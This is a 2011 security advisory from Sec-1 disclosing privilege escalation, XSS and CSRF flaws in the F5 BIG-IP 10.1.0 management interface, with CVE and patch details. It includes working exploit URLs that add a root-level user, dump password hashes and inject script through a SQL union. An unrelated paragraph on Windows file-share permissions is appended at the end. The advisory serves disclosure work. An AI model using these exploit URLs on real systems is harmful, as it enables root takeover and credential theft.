| Sec-1 Security Advisory |
| Advisory Name |
: |
F5 Networks Big-IP Multiple Vulnerabilities |
| Release Date |
: |
04/07/2011 |
| Application |
: |
F5 Networks Big-IP 10.1.0 |
| Platform |
: |
Local Traffic Manager Virtual Edition (tested) |
| Severity |
: |
Privilege Escalation (to root), CSRF and XSS |
| Author |
: |
Gary O’Leary-Steele |
| Vendor Status |
: |
Patch Released |
| Website |
: |
http://www.sec-1.com/blog |
|
| Product Overview: |
| Taken from: http://www.f5.com/products/big-ip/
The BIG-IP product family is a system of integrated application delivery services that work together on the same best-in-class hardware. From load balancing, SSL offload, and web acceleration to application security, access control, and much more, a single BIG-IP device can do the work of a dozen single-purpose appliances.
Local Traffic Manager Virtual Edition enables you to create a mobile, scalable, and adaptable infrastructure for virtualized applications by applying the functionality of BIG-IP LTM in a virtualized environment. |
| Vulnerability Summary: |
| A number of security issues were identified within the management web interface that could be combined to gain unauthorised root access to the affected system. Identified vulnerabilities include Privilege Escalation, Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF/XSRF). |
| Vulnerability Details – Privilege Escalation: |
| The following vulnerable script was identified during an analysis of the local file system:
https://[TARGET_IP]/tmui/tools/dbeditor.jsp
To access this component the user must be authenticated to the web interface as any user (including guest). The affected script provides a web interface to the underlying database along with easy to use templates to change database data. From here it is possible to perform any administrative task including user administration.
From an attackers perspective this interface allows any user, including Guest, to administer any aspect of the Big-IP’s configuration. |
| Exploit Example 1: |
| The following URL, when accessed by any authenticated user will add a root equivalent the user “hacker2? with a password of “admin” to the affected Big-IP system (adds and entry to /etc/shadow):
https://[TARGET_IP]/tmui/tools/commandresults.jsp?sql=INSERT into userdb_entry value(‘hacker2′,12345,’$1$vj2xXJiEZC0aIA.IBj5rvaEfbDgr0′,’true’,”,0,0,’/home/hacker2′,’/bin/sh’,0,”,’false’,’all’)
This vulnerability could be exploited using common Cross-Site Request forgery techniques such as an embedded IMG tag. |
| Exploit Example 2: |
| The following URL will extract password hashes from the /etc/shadow file:
https://[TARGET_IP]/tmui/tools/commandresults.jsp?sql=select * from userdb_entry |
| Vulnerability Details – Cross Site Scripting: |
| Errors returned by the affected script(s) are written to the page without encoding and can therefore be exploited to perform an XSS attack. Furthermore, since the resulting error can be constructed using SQL it is possible to form a payload that will bypass local XSS filters. |
| Exploit Example 3: |
| https://[TARGET_IP]/tmui/tools/commandresults.jsp?sql=select%20name,passwd%20from%20userdb_entry%20union%20select%20%27%3Cscript%3Ealert%281%29%3C/script%3E%27,%27b%27%20from%20userdb_entry |
| Vendor Response: |
| This issue was resolved in version 10.2.2 and within the hotfix release 10.2.1-hf1 |
| Common Vulnerabilities and Exposures (CVE) Information: |
| The Common Vulnerabilities and Exposures (CVE) project has assigned the following names to these issues. These are candidates for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. |
|
|
| CVE : CVE-2011-3121 |
|
|
| Copyright 2011 Sec-1 LTD. All rights reserved. |
Windows file sharing permissions are based on the popular Discretionary Access Control (DAC) model, this essentially means that the owner of the resource uses his or her discretion when deciding who should be permitted access. Access is granted to either an individual user or a group of users, unfortunately file shares are rarely configured with security as a top priority and the course of least resistance is often applied. Vulnerabilities commonly arise when access to a confidential resource is granted to a group containing users who should not permitted to access it, or generalised group such as “Everyone” has erroneously been included.